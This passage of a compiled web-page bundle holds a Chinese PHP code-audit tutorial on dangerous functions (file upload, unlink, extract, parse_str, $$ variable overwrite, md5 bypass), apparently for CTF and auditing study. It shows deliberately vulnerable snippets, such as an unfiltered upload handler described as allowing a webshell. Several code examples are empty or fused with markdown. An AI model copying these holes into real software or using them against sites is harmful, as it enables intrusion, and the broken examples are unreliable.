\u9650\u548c\u8fc7\u6ee4\u53c2\u6570\uff0c\u90a3\u5c31\u95ee\u9898\u5927\u4e86\uff0c\u6211\u4eec\u5c31\u53ef\u4ee5\u4efb\u610f\u6587\u4ef6\u8bfb\u53d6\u4e86\u3002"}),"\n",(0,r.jsx)(e.p,{children:"\u8865\u5145\uff1a\u4ec0\u4e48\u662f\u53e5\u67c4\uff1f"}),"\n",(0,r.jsx)(e.p,{children:"\u5f00\u5c40\u5148\u7ed9\u4e00\u6bb5\u4ee3\u7801"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-php",children:'$file = fopen("demo.txt","rb");\n'})}),"\n",(0,r.jsxs)(e.p,{children:["\u5728\u8fd9\u6bb5\u4ee3\u7801\u4e2d",(0,r.jsx)(e.code,{children:"$file"}),"\u5c31\u662f\u4e00\u4e2a\u53e5\u67c4\u3002\u53e5\u67c4\u5173\u952e\u70b9\u5728\u201c\u67c4\u201d\uff0c\u540e\u9762\u7684",(0,r.jsx)(e.code,{children:"fopen"}),"\u662f\u4e00\u4e2a\u8d44\u6e90\uff0c\u597d\u6bd4\u4e00\u53e3\u9505\uff0c\u800c\u524d\u9762\u7684",(0,r.jsx)(e.code,{children:"$file"}),"\u5c31\u597d\u6bd4\u8fd9\u4e2a\u9505\u7684\u628a\u624b\u3002\u90a3\u4e48\u4ee5\u540e\u6211\u4eec\u5728\u64cd\u4f5c\u7684\u65f6\u5019\u64cd\u4f5c\u628a\u624b\u5c31\u884c\u4e86\u3002\u901a\u8fc7\u8fd9\u4e2a\u628a\u624b\u6211\u4eec\u53ef\u4ee5\u95f4\u63a5\u64cd\u4f5c\u6bd4\u8f83\u5927\u7684\u8d44\u6e90\u3002\u5176\u5b9e\u4e5f\u7c7b\u4f3cC\u8bed\u8a00\u4e2d\u7684\u6307\u9488\uff0c\u53ea\u662f\u4e00\u4e2a\u6807\u8bc6\u3002"]}),"\n",(0,r.jsx)(e.h2,{id:"\u6587\u4ef6\u4e0a\u4f20",children:"\u6587\u4ef6\u4e0a\u4f20"}),"\n",(0,r.jsx)(e.h3,{id:"move_uploaded_file",children:"move_uploaded_file()"}),"\n",(0,r.jsx)(e.p,{children:"\u6b64\u51fd\u6570\u662f\u5c06\u4e0a\u4f20\u7684\u6587\u4ef6\u79fb\u52a8\u5230\u65b0\u4f4d\u7f6e\u3002"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-php",children:"move_uploaded_file(file,newloc)\n"})}),"\n",(0,r.jsx)(e.h4,{id:"\u53c2\u6570-23",children:"\u53c2\u6570"}),"\n",(0,r.jsxs)(e.ul,{children:["\n",(0,r.jsx)(e.li,{children:"file\uff1a\u5fc5\u9700\u3002\u89c4\u5b9a\u8981\u79fb\u52a8\u7684\u6587\u4ef6\u3002"}),"\n",(0,r.jsx)(e.li,{children:"newloc\uff1a\u5fc5\u9700\u3002\u89c4\u5b9a\u6587\u4ef6\u7684\u65b0\u4f4d\u7f6e\u3002"}),"\n"]}),"\n",(0,r.jsx)(e.p,{children:"\u672c\u51fd\u6570\u68c0\u67e5\u5e76\u786e\u4fdd\u7531 file \u6307\u5b9a\u7684\u6587\u4ef6\u662f\u5408\u6cd5\u7684\u4e0a\u4f20\u6587\u4ef6\uff08\u5373\u901a\u8fc7 PHP \u7684 HTTP POST \u4e0a\u4f20\u673a\u5236\u6240\u4e0a\u4f20\u7684\uff09\u3002\u5982\u679c\u6587\u4ef6\u5408\u6cd5\uff0c\u5219\u5c06\u5176\u79fb\u52a8\u4e3a\u7531 newloc \u6307\u5b9a\u7684\u6587\u4ef6\u3002"}),"\n",(0,r.jsx)(e.p,{children:"\u5982\u679c file \u4e0d\u662f\u5408\u6cd5\u7684\u4e0a\u4f20\u6587\u4ef6\uff0c\u4e0d\u4f1a\u51fa\u73b0\u4efb\u4f55\u64cd\u4f5c\uff0cmove_uploaded_file() \u5c06\u8fd4\u56de false\u3002"}),"\n",(0,r.jsx)(e.p,{children:"\u5982\u679c file \u662f\u5408\u6cd5\u7684\u4e0a\u4f20\u6587\u4ef6\uff0c\u4f46\u51fa\u4e8e\u67d0\u4e9b\u539f\u56e0\u65e0\u6cd5\u79fb\u52a8\uff0c\u4e0d\u4f1a\u51fa\u73b0\u4efb\u4f55\u64cd\u4f5c\uff0cmove_uploaded_file() \u5c06\u8fd4\u56de false\uff0c\u6b64\u5916\u8fd8\u4f1a\u53d1\u51fa\u4e00\u6761\u8b66\u544a\u3002"}),"\n",(0,r.jsx)(e.p,{children:"\u4ee3\u7801\u793a\u4f8b\uff1a"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-php",children:"$fileName = $_SERVER['DOCUMENT_ROOT'].'/uploads/'.$_FILES['file']['name'];\nmove_uploaded_file($_FILES['file']['tmp_name'],$fileName )\n"})}),"\n",(0,r.jsx)(e.p,{children:"\u8fd9\u6bb5\u4ee3\u7801\u5c31\u662f\u76f4\u63a5\u63a5\u6536\u4e0a\u4f20\u7684\u6587\u4ef6\uff0c\u6ca1\u6709\u8fdb\u884c\u4efb\u4f55\u7684\u8fc7\u6ee4\uff0c\u90a3\u4e48\u5f53\u6211\u4eec\u4e0a\u4f20getshell\u7684\u540e\u95e8\u65f6\uff0c\u5c31\u53ef\u4ee5\u76f4\u63a5\u83b7\u53d6\u6743\u9650\uff0c\u53ef\u89c1\u8fd9\u4e2a\u51fd\u6570\u662f\u4e0d\u80fd\u4e71\u7528\u7684\uff0c\u5373\u4fbf\u8981\u7528\u4e5f\u8981\u5c06\u8fc7\u6ee4\u89c4\u5219\u5b8c\u5584\u597d\uff0c\u9632\u6b62\u4e0a\u4f20\u4e0d\u5408\u6cd5\u6587\u4ef6\u3002"}),"\n",(0,r.jsx)(e.h2,{id:"\u6587\u4ef6\u5220\u9664",children:"\u6587\u4ef6\u5220\u9664"}),"\n",(0,r.jsx)(e.h3,{id:"unlink",children:"unlink()"}),"\n",(0,r.jsx)(e.p,{children:"\u6b64\u51fd\u6570\u7528\u6765\u5220\u9664\u6587\u4ef6\u3002\u6210\u529f\u8fd4\u56de TURE \uff0c\u5931\u8d25\u8fd4\u56de FALSE\u3002"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-php",children:"unlink(filename,context)\n"})}),"\n",(0,r.jsx)(e.h4,{id:"\u53c2\u6570-24",children:"\u53c2\u6570"}),"\n",(0,r.jsxs)(e.ul,{children:["\n",(0,r.jsx)(e.li,{children:"filename\uff1a\u5fc5\u9700\u3002\u8981\u5220\u9664\u7684\u6587\u4ef6\u3002"}),"\n",(0,r.jsx)(e.li,{children:"context\uff1a\u53ef\u9009\u3002\u53e5\u67c4\u73af\u5883\u3002"}),"\n"]}),"\n",(0,r.jsx)(e.p,{children:"\u6211\u4eec\u77e5\u9053\uff0c\u4e00\u4e9b\u7f51\u7ad9\u662f\u6709\u5220\u9664\u529f\u80fd\u7684\u3002\u6bd4\u5982\u5e38\u89c1\u7684\u8bba\u575b\u7f51\u7ad9\uff0c\u662f\u6709\u5220\u9664\u8bc4\u8bba\u6216\u8005\u6587\u7ae0\u529f\u80fd\u7684\u3002\u5018\u82e5\u7f51\u7ad9\u6ca1\u6709\u5bf9\u5220\u9664\u5904\u505a\u9650\u5236\uff0c\u90a3\u4e48\u5c31\u53ef\u80fd\u4f1a\u5bfc\u81f4\u4efb\u610f\u6587\u4ef6\u5220\u9664\uff08\u751a\u81f3\u5220\u9664\u7f51\u7ad9\u6e90\u7801\uff09\u3002"}),"\n",(0,r.jsx)(e.p,{children:"\u4ee3\u7801\u793a\u4f8b\uff1a"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-php",children:'\n'})}),"\n",(0,r.jsx)(e.h3,{id:"session_destroy",children:"session_destroy()"}),"\n",(0,r.jsx)(e.p,{children:"\u5728\u4e86\u89e3\u8fd9\u4e2a\u51fd\u6570\u4e4b\u524d\uff0c\u6211\u4eec\u9700\u8981\u5148\u4e86\u89e3 PHP session\u3002 PHP session \u53d8\u91cf\u7528\u4e8e\u5b58\u50a8\u5173\u4e8e\u7528\u6237\u4f1a\u8bdd\u7684\u4fe1\u606f\u3002\u5173\u4e8e sesson \u7684\u673a\u5236\u8fd9\u91cc\u6211\u5c31\u4e0d\u518d\u8fc7\u4e8e\u8be6\u7ec6\u4ecb\u7ecd\u3002"}),"\n",(0,r.jsxs)(e.p,{children:[(0,r.jsx)(e.code,{children:"session_destroy()"}),"\u51fd\u6570\u7528\u6765\u9500\u6bc1\u4e00\u4e2a\u4f1a\u8bdd\u4e2d\u7684\u5168\u90e8\u6570\u636e\uff0c\u4f46\u5e76\u4e0d\u4f1a\u91cd\u7f6e\u5f53\u524d\u4f1a\u8bdd\u6240\u5173\u8054\u7684\u5168\u5c40\u53d8\u91cf\uff0c\u540c\u65f6\u4e5f\u4e0d\u4f1a\u91cd\u7f6e\u4f1a\u8bdd cookie"]}),"\n",(0,r.jsx)(e.p,{children:"\u4ee3\u7801\u793a\u4f8b\uff1a"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-php",children:' \n'})}),"\n",(0,r.jsx)(e.h2,{id:"\u53d8\u91cf\u8986\u76d6",children:"\u53d8\u91cf\u8986\u76d6"}),"\n",(0,r.jsx)(e.h3,{id:"extract",children:"extract()"}),"\n",(0,r.jsx)(e.p,{children:"\u6b64\u51fd\u6570\u4ece\u6570\u7ec4\u4e2d\u5c06\u53d8\u91cf\u5bfc\u5165\u5230\u5f53\u524d\u7684\u7b26\u53f7\u8868\u3002\u5176\u5b9e\u4f5c\u7528\u5c31\u662f\u7ed9\u53d8\u91cf\u91cd\u65b0\u8d4b\u503c\uff0c\u4ece\u800c\u8fbe\u5230\u53d8\u91cf\u8986\u76d6\u7684\u4f5c\u7528\u3002"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-php",children:"extract(array,extract_rules,prefix)\n"})}),"\n",(0,r.jsx)(e.h4,{id:"\u53c2\u6570-25",children:"\u53c2\u6570"}),"\n",(0,r.jsxs)(e.ul,{children:["\n",(0,r.jsx)(e.li,{children:"array\uff1a\u5fc5\u9700\u3002\u89c4\u5b9a\u8981\u4f7f\u7528\u7684\u6570\u7ec4\u3002"}),"\n",(0,r.jsxs)(e.li,{children:["extract_rules\uff1a\u53ef\u9009\u3002extract\u51fd\u6570\u5c06\u68c0\u67e5\u6bcf\u4e2a\u952e\u540d\u662f\u5426\u4e3a\u5408\u6cd5\u7684\u53d8\u91cf\u540d\uff0c\u540c\u65f6\u4e5f\u68c0\u67e5\u548c\u7b26\u53f7\u4e2d\u5df2\u7ecf\u5b58\u5728\u7684\u53d8\u91cf\u540d\u662f\u5426\u51b2\u7a81\uff0c\u5bf9\u4e0d\u5408\u6cd5\u6216\u8005\u51b2\u7a81\u7684\u952e\u540d\u5c06\u4f1a\u6839\u636e\u6b64\u53c2\u6570\u7684\u8bbe\u5b9a\u7684\u89c4\u5219\u6765\u51b3\u5b9a\u3002\n",(0,r.jsxs)(e.ul,{children:["\n",(0,r.jsx)(e.li,{children:"EXTR_OVERWRITE - \u9ed8\u8ba4\u3002\u5982\u679c\u6709\u51b2\u7a81\uff0c\u5219\u8986\u76d6\u5df2\u6709\u7684\u53d8\u91cf\u3002"}),"\n",(0,r.jsx)(e.li,{children:"EXTR_SKIP - \u5982\u679c\u6709\u51b2\u7a81\uff0c\u4e0d\u8986\u76d6\u5df2\u6709\u7684\u53d8\u91cf\u3002"}),"\n",(0,r.jsx)(e.li,{children:"EXTR_PREFIX_SAME - \u5982\u679c\u6709\u51b2\u7a81\uff0c\u5728\u53d8\u91cf\u540d\u524d\u52a0\u4e0a\u524d\u7f00 prefix\u3002"}),"\n",(0,r.jsx)(e.li,{children:"EXTR_PREFIX_ALL - \u7ed9\u6240\u6709\u53d8\u91cf\u540d\u52a0\u4e0a\u524d\u7f00 prefix\u3002"}),"\n",(0,r.jsx)(e.li,{children:"EXTR_PREFIX_INVALID - \u4ec5\u5728\u4e0d\u5408\u6cd5\u6216\u6570\u5b57\u53d8\u91cf\u540d\u524d\u52a0\u4e0a\u524d\u7f00 prefix\u3002"}),"\n",(0,r.jsx)(e.li,{children:"EXTR_IF_EXISTS - \u4ec5\u5728\u5f53\u524d\u7b26\u53f7\u8868\u4e2d\u5df2\u6709\u540c\u540d\u53d8\u91cf\u65f6\uff0c\u8986\u76d6\u5b83\u4eec\u7684\u503c\u3002\u5176\u5b83\u7684\u90fd\u4e0d\u5904\u7406\u3002"}),"\n",(0,r.jsx)(e.li,{children:"EXTR_PREFIX_IF_EXISTS - \u4ec5\u5728\u5f53\u524d\u7b26\u53f7\u8868\u4e2d\u5df2\u6709\u540c\u540d\u53d8\u91cf\u65f6\uff0c\u5efa\u7acb\u9644\u52a0\u4e86\u524d\u7f00\u7684\u53d8\u91cf\u540d\uff0c\u5176\u5b83\u7684\u90fd\u4e0d\u5904\u7406\u3002"}),"\n",(0,r.jsx)(e.li,{children:"EXTR_REFS - \u5c06\u53d8\u91cf\u4f5c\u4e3a\u5f15\u7528\u63d0\u53d6\u3002\u5bfc\u5165\u7684\u53d8\u91cf\u4ecd\u7136\u5f15\u7528\u4e86\u6570\u7ec4\u53c2\u6570\u7684\u503c\u3002"}),"\n"]}),"\n"]}),"\n",(0,r.jsx)(e.li,{children:"prefix\uff1a\u53ef\u9009\u3002\u5982\u679c extract_rules \u53c2\u6570\u7684\u503c\u662f EXTR_PREFIX_SAME\u3001EXTR_PREFIX_ALL\u3001 EXTR_PREFIX_INVALID \u6216 EXTR_PREFIX_IF_EXISTS\uff0c\u5219 prefix \u662f\u5fc5\u9700\u7684\u3002"}),"\n"]}),"\n",(0,r.jsx)(e.p,{children:"\u4ee3\u7801\u793a\u4f8b\uff1a"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-php",children:' "red",\n "size" => "medium",\n "name" => "dog");\n extract($one_array);\n echo "$color, $size, $name";\n?>\n \n\u6267\u884c\u7ed3\u679c\u2014\u2014>\nred, medium, dog\n'})}),"\n",(0,r.jsx)(e.p,{children:"\u5728\u4e0a\u8ff0\u4ee3\u7801\u4e2d\uff0c\u6211\u4eec\u770b\u5230\uff0c\u672c\u6765\u6211\u4eec\u5b9a\u4e49\u7684color\u662fblue\uff0c\u8f93\u51fa\u7684\u65f6\u5019\u53d8\u6210\u4e86red\uff0c\u672c\u6765\u6211\u4eec\u6ca1\u6709\u5b9a\u4e49size\u548cname\uff0c\u53ef\u662f\u5374\u80fd\u8f93\u51fa\u8fd9\u4e24\u4e2a\u53d8\u91cf\u3002"}),"\n",(0,r.jsx)(e.p,{children:"\u8fd8\u6709\u4e00\u4e9b\u5728CTF\u6bd4\u8d5b\u4e2d\u51fa\u73b0\u8fc7\u7684\u7528\u6cd5\uff0c\u6bd4\u5982\u76f4\u63a5\u8ba9\u4f60POST\u4f20\u53c2\u6765\u6539\u53d8\u67d0\u4e2a\u53d8\u91cf\u7684\u503c\u3002"}),"\n",(0,r.jsx)(e.p,{children:"\u4ee3\u7801\u793a\u4f8b\uff1a"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-php",children:"\n"})}),"\n",(0,r.jsx)(e.p,{children:"\u53c2\u65f6\u5982\u679c\u6211\u4eecPOST\u4f20\u5165name=dog\uff0c\u90a3\u4e48\u9875\u9762\u5c06\u4f1a\u56de\u663edog\uff0c\u8bf4\u660e\u8fd9\u4e2a\u51fd\u6570\u7684\u4f7f\u7528\u8ba9\u6211\u4eec\u5b9e\u73b0\u4e86\u53d8\u91cf\u7684\u8986\u76d6\uff0c\u6539\u53d8\u4e86\u53d8\u91cf\u7684\u503c\u3002"}),"\n",(0,r.jsx)(e.h3,{id:"parse_str",children:"parse_str()"}),"\n",(0,r.jsx)(e.p,{children:"\u6b64\u51fd\u6570\u628a\u67e5\u8be2\u5230\u7684\u5b57\u7b26\u4e32\u89e3\u6790\u5230\u53d8\u91cf\u4e2d\u3002"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-php",children:"parse_str(string,array)\n"})}),"\n",(0,r.jsx)(e.h4,{id:"\u53c2\u6570-26",children:"\u53c2\u6570"}),"\n",(0,r.jsxs)(e.ul,{children:["\n",(0,r.jsx)(e.li,{children:"string\uff1a\u5fc5\u9700\u3002\u89c4\u5b9a\u8981\u89e3\u6790\u7684\u5b57\u7b26\u4e32\u3002"}),"\n",(0,r.jsx)(e.li,{children:"array\uff1a\u53ef\u9009\u3002\u89c4\u5b9a\u5b58\u50a8\u53d8\u91cf\u7684\u6570\u7ec4\u540d\u79f0\u3002\u8be5\u53c2\u6570\u53ea\u662f\u53d8\u91cf\u5b58\u50a8\u5230\u6570\u7ec4\u4e2d\u3002"}),"\n"]}),"\n",(0,r.jsx)(e.p,{children:"\u4ee3\u7801\u793a\u4f8b:"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-php",children:'\n \n\u6267\u884c\u7ed3\u679c\u2014\u2014>\nArray\n(\n [name] => Ameng\n [sex] => boy\n)\n'})}),"\n",(0,r.jsx)(e.p,{children:"\u4e0a\u8ff0\u4ee3\u7801\u662f\u6709array\u60c5\u51b5\u4e0b\u7684\u4f7f\u7528\u60c5\u51b5\uff0c\u90a3\u4e48\u5982\u4f55\u5b9e\u73b0\u53d8\u91cf\u7684\u8986\u76d6\u5462\uff1f\u5982\u679c\u6ca1\u6709array \u53c2\u6570\uff0c\u5219\u7531\u8be5\u51fd\u6570\u8bbe\u7f6e\u7684\u53d8\u91cf\u5c06\u8986\u76d6\u5df2\u5b58\u5728\u7684\u540c\u540d\u53d8\u91cf\u3002"}),"\n",(0,r.jsx)(e.p,{children:"\u4ee3\u7801\u793a\u4f8b\uff1a"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-php",children:"\n\u6267\u884c\u7ed3\u679c\u2014\u2014>\nAmeng, ```\n\n\n\u901a\u8fc7\u4e0a\u8ff0\u4ee3\u7801\uff0c\u6211\u4eec\u53ef\u4ee5\u53d1\u73b0\uff0c\u53d8\u91cfname\u548cage\u90fd\u53d1\u751f\u4e86\u53d8\u5316\uff0c\u88ab\u65b0\u7684\u503c\u8986\u76d6\u4e86\u3002\u8fd9\u91cc\u6211\u7528\u7684\u662f PHP 7.4.3 \u7248\u672c\u3002\u53d1\u73b0\u8fd9\u4e2a\u51fd\u6570\u7684\u8fd9\u4e2a\u4f5c\u7528\u8fd8\u662f\u5b58\u5728\u7684\uff0c\u4e14\u6ca1\u6709\u4efb\u4f55\u5371\u9669\u63d0\u793a\u3002\n\n### import_request_variables() \n\n\u6b64\u51fd\u6570\u5c06GET/POST/Cookie\u53d8\u91cf\u5bfc\u5165\u5230\u5168\u5c40\u4f5c\u7528\u57df\u4e2d\u3002\u4ece\u800c\u80fd\u591f\u8fbe\u5230\u53d8\u91cf\u8986\u76d6\u7684\u4f5c\u7528\u3002\n\n\u7248\u672c\u8981\u6c42\uff1aPHP 4 >= 4.1.0, PHP 5 < 5.4.\n```php\nbool import_request_variables ( string $types [, string $prefix ] )\n"})}),"\n",(0,r.jsx)(e.h4,{id:"\u53c2\u6570-27",children:"\u53c2\u6570"}),"\n",(0,r.jsxs)(e.ul,{children:["\n",(0,r.jsx)(e.li,{children:"types\uff1a\u6307\u5b9a\u9700\u8981\u5bfc\u5165\u7684\u53d8\u91cf\uff0c\u53ef\u4ee5\u7528\u5b57\u6bcd G\u3001P \u548c C \u5206\u522b\u8868\u793a GET\u3001POST \u548c Cookie\uff0c\u8fd9\u4e9b\u5b57\u6bcd\u4e0d\u533a\u5206\u5927\u5c0f\u5199\uff0c\u6240\u4ee5\u4f60\u53ef\u4ee5\u4f7f\u7528 g \u3001 p \u548c c \u7684\u4efb\u4f55\u7ec4\u5408\u3002POST \u5305\u542b\u4e86\u901a\u8fc7 POST \u65b9\u6cd5\u4e0a\u4f20\u7684\u6587\u4ef6\u4fe1\u606f\u3002\u6ce8\u610f\u8fd9\u4e9b\u5b57\u6bcd\u7684\u987a\u5e8f\uff0c\u5f53\u4f7f\u7528 gp \u65f6\uff0cPOST \u53d8\u91cf\u5c06\u4f7f\u7528\u76f8\u540c\u7684\u540d\u5b57\u8986\u76d6 GET \u53d8\u91cf\u3002"}),"\n",(0,r.jsx)(e.li,{children:"prefix\uff1a\u53d8\u91cf\u540d\u7684\u524d\u7f00\uff0c\u7f6e\u4e8e\u6240\u6709\u88ab\u5bfc\u5165\u5230\u5168\u5c40\u4f5c\u7528\u57df\u7684\u53d8\u91cf\u4e4b\u524d\u3002\u6240\u4ee5\u5982\u679c\u4f60\u6709\u4e2a\u540d\u4e3a userid \u7684 GET \u53d8\u91cf\uff0c\u540c\u65f6\u63d0\u4f9b\u4e86 pref_ \u4f5c\u4e3a\u524d\u7f00\uff0c\u90a3\u4e48\u4f60\u5c06\u83b7\u5f97\u4e00\u4e2a\u540d\u4e3a $pref_userid \u7684\u5168\u5c40\u53d8\u91cf\u3002\u867d\u7136 prefix \u53c2\u6570\u662f\u53ef\u9009\u7684\uff0c\u4f46\u5982\u679c\u4e0d\u6307\u5b9a\u524d\u7f00\uff0c\u6216\u8005\u6307\u5b9a\u4e00\u4e2a\u7a7a\u5b57\u7b26\u4e32\u4f5c\u4e3a\u524d\u7f00\uff0c\u4f60\u5c06\u83b7\u5f97\u4e00\u4e2a E_NOTICE \u7ea7\u522b\u7684\u9519\u8bef\u3002"}),"\n"]}),"\n",(0,r.jsx)(e.p,{children:"\u4ee3\u7801\u793a\u4f8b\uff1a"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-php",children:"\n"})}),"\n",(0,r.jsxs)(e.p,{children:["\u5982\u679c\u4ec0\u4e48\u53d8\u91cf\u4e5f\u4e0d\u4f20\uff0c\u90a3\u4e48\u9875\u9762\u5c06\u56de\u663e",(0,r.jsx)(e.code,{children:"You are not Ameng"}),"\u5982\u679c\u901a\u8fc7GET\u6216\u8005POST\u4f20\u5165",(0,r.jsx)(e.code,{children:"name=Ameng"}),"\u90a3\u4e48\u9875\u9762\u5c31\u4f1a\u56de\u663e",(0,r.jsx)(e.code,{children:"Ameng"})]}),"\n",(0,r.jsx)(e.p,{children:"\u53ef\u4ee5\u89c1\u5230\u6b64\u51fd\u6570\u8fd8\u662f\u5f88\u5371\u9669\u7684\uff0c\u6ca1\u6709\u4fee\u590d\u65b9\u6cd5\uff0c\u4e0d\u4f7f\u7528\u5c31\u662f\u6700\u597d\u7684\u65b9\u6cd5\u3002\u6240\u4ee5\u5728\u65b0\u7248\u672c\u7684 PHP \u4e2d\u5df2\u7ecf\u5e9f\u5f03\u4e86\u8fd9\u4e2a\u51fd\u6570\u3002"}),"\n",(0,r.jsx)(e.h3,{id:"foreach",children:"foreach()"}),"\n",(0,r.jsxs)(e.p,{children:[(0,r.jsx)(e.code,{children:"foreach"})," \u8bed\u6cd5\u7ed3\u6784\u63d0\u4f9b\u4e86\u904d\u5386\u6570\u7ec4\u7684\u7b80\u5355\u65b9\u5f0f\u3002",(0,r.jsx)(e.code,{children:"foreach"})," \u4ec5\u80fd\u591f\u5e94\u7528\u4e8e\u6570\u7ec4\u548c\u5bf9\u8c61\uff0c\u5982\u679c\u5c1d\u8bd5\u5e94\u7528\u4e8e\u5176\u4ed6\u6570\u636e\u7c7b\u578b\u7684\u53d8\u91cf\uff0c\u6216\u8005\u672a\u521d\u59cb\u5316\u7684\u53d8\u91cf\u5c06\u53d1\u51fa\u9519\u8bef\u4fe1\u606f\u3002\u6709\u4e24\u79cd\u8bed\u6cd5\uff1a"]}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-php",children:"foreach (array_expression as $value)\n statement\nforeach (array_expression as $key => $value)\n statement\n"})}),"\n",(0,r.jsx)(e.p,{children:"\u7b2c\u4e00\u79cd\u683c\u5f0f\u904d\u5386\u7ed9\u5b9a\u7684 array_expression \u6570\u7ec4\u3002\u6bcf\u6b21\u5faa\u73af\u4e2d\uff0c\u5f53\u524d\u5355\u5143\u7684\u503c\u88ab\u8d4b\u7ed9 $value \u5e76\u4e14\u6570\u7ec4\u5185\u90e8\u7684\u6307\u9488\u5411\u524d\u79fb\u4e00\u6b65\uff08\u56e0\u6b64\u4e0b\u4e00\u6b21\u5faa\u73af\u4e2d\u5c06\u4f1a\u5f97\u5230\u4e0b\u4e00\u4e2a\u5355\u5143\uff09\u3002"}),"\n",(0,r.jsx)(e.p,{children:"\u7b2c\u4e8c\u79cd\u683c\u5f0f\u505a\u540c\u6837\u7684\u4e8b\uff0c\u53ea\u662f\u9664\u4e86\u5f53\u524d\u5355\u5143\u7684\u952e\u540d\u4e5f\u4f1a\u5728\u6bcf\u6b21\u5faa\u73af\u4e2d\u88ab\u8d4b\u7ed9\u53d8\u91cf $key\u3002"}),"\n",(0,r.jsx)(e.p,{children:"\u90a3\u4e48\u8fd9\u4e2a\u51fd\u6570\u5982\u4f55\u5b9e\u73b0\u53d8\u91cf\u7684\u8986\u76d6\u5462\uff1f\u6211\u4eec\u6765\u770b\u4e2a\u6848\u4f8b."}),"\n",(0,r.jsx)(e.p,{children:"\u4ee3\u7801\u793a\u4f8b\uff1a"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-php",children:" $value)\t{ \n $$key = $value; \n } \n if($name == \"Ameng\"){\n echo 'You are right!';\n }\n\telse{\n echo 'You are flase!';\n }\n?>\n"})}),"\n",(0,r.jsxs)(e.p,{children:["\u90a3\u4e48\u6267\u884c\u7ed3\u679c\u662f\u600e\u6837\u7684\u5462\uff1f\u5f53\u6211\u4eec\u76f4\u63a5\u6253\u5f00\u9875\u9762\u7684\u65f6\u5019\u5b83\u4f1a\u8f93\u51fa",(0,r.jsx)(e.code,{children:"You are false!"}),",\u800c\u5f53\u6211\u4eec\u901a\u8fc7GET\u4f20\u53c2",(0,r.jsx)(e.code,{children:"name=Ameng"}),"\u7684\u65f6\u5019\uff0c\u5b83\u4f1a\u56de\u663e",(0,r.jsx)(e.code,{children:"You are right!"}),"\u3002\u90a3\u4e48\u8fd9\u662f\u4e3a\u4ec0\u4e48\u5462\uff1f\u6211\u4eec\u6765\u5206\u6790\u4e00\u4e0b"]}),"\n",(0,r.jsxs)(e.p,{children:["\u5173\u952e\u70b9\u5c31\u5728\u4e8e",(0,r.jsx)(e.code,{children:"$$"}),"\u8fd9\u79cd\u5199\u6cd5\u3002\u8fd9\u79cd\u5199\u6cd5\u79f0\u4e3a\u53ef\u53d8\u53d8\u91cf\u3002\u4e00\u4e2a\u53d8\u91cf\u80fd\u591f\u83b7\u53d6\u4e00\u4e2a\u666e\u901a\u53d8\u91cf\u7684\u503c\u4f5c\u4e3a\u8fd9\u4e2a\u53ef\u53d8\u53d8\u91cf\u7684\u53d8\u91cf\u540d\u3002\u5f53\u4f7f\u7528",(0,r.jsx)(e.code,{children:"foreach"}),"\u6765\u904d\u5386\u6570\u7ec4\u4e2d\u7684\u503c\uff0c\u7136\u540e\u518d\u5c06\u83b7\u53d6\u5230\u7684\u6570\u7ec4\u952e\u540d\u4f5c\u4e3a\u53d8\u91cf\uff0c\u6570\u7ec4\u4e2d\u7684\u952e\u503c\u4f5c\u4e3a\u53d8\u91cf\u7684\u503c\u3002\u8fd9\u6837\u5c31\u4ea7\u751f\u4e86\u53d8\u91cf\u8986\u76d6\u6f0f\u6d1e\uff0c\u5982\u4e0a\u4ee3\u7801\u793a\u4f8b\u3002\u5176\u6267\u884c\u8fc7\u7a0b\u4e3a",(0,r.jsx)(e.code,{children:"$$key"}),"=",(0,r.jsx)(e.code,{children:"$name"}),"\uff0c\u6700\u540e\u8d4b\u503c\u4e3a",(0,r.jsx)(e.code,{children:"$value"}),"\uff0c\u4ece\u800c\u5b9e\u73b0\u4e86\u53d8\u91cf\u8986\u76d6\u3002"]}),"\n",(0,r.jsx)(e.h2,{id:"\u5f31\u7c7b\u578b\u6bd4\u8f83",children:"\u5f31\u7c7b\u578b\u6bd4\u8f83"}),"\n",(0,r.jsx)(e.h3,{id:"md5\u51fd\u6570\u548csha1\u7ed5\u8fc7",children:"md5()\u51fd\u6570\u548csha1()\u7ed5\u8fc7"}),"\n",(0,r.jsx)(e.p,{children:"\u5173\u4e8e\u8fd9\u4e24\u4e2a\u51fd\u6570\u60f3\u5fc5\u6211\u4eec\u4e0d\u964c\u751f\uff0c\u65e0\u8bba\u662f\u5728\u5b9e\u9645\u4ee3\u7801\u5ba1\u8ba1\u4e2d\uff0c\u8fd8\u662f\u5728CTF\u6bd4\u8d5b\u4e2d\uff0c\u8fd9\u4e9b\u6211\u4eec\u90fd\u662f\u78b0\u5230\u8fc7\u7684\u51fd\u6570\u3002\u90a3\u4e48\u5f53\u6211\u4eec\u9047\u5230\u7528\u8fd9\u4e24\u4e2a\u51fd\u6570\u6765\u5224\u65ad\u7684\u65f6\u5019\uff0c\u5982\u679c\u7ed5\u8fc7\u5462\uff1f"}),"\n",(0,r.jsxs)(e.p,{children:["PHP 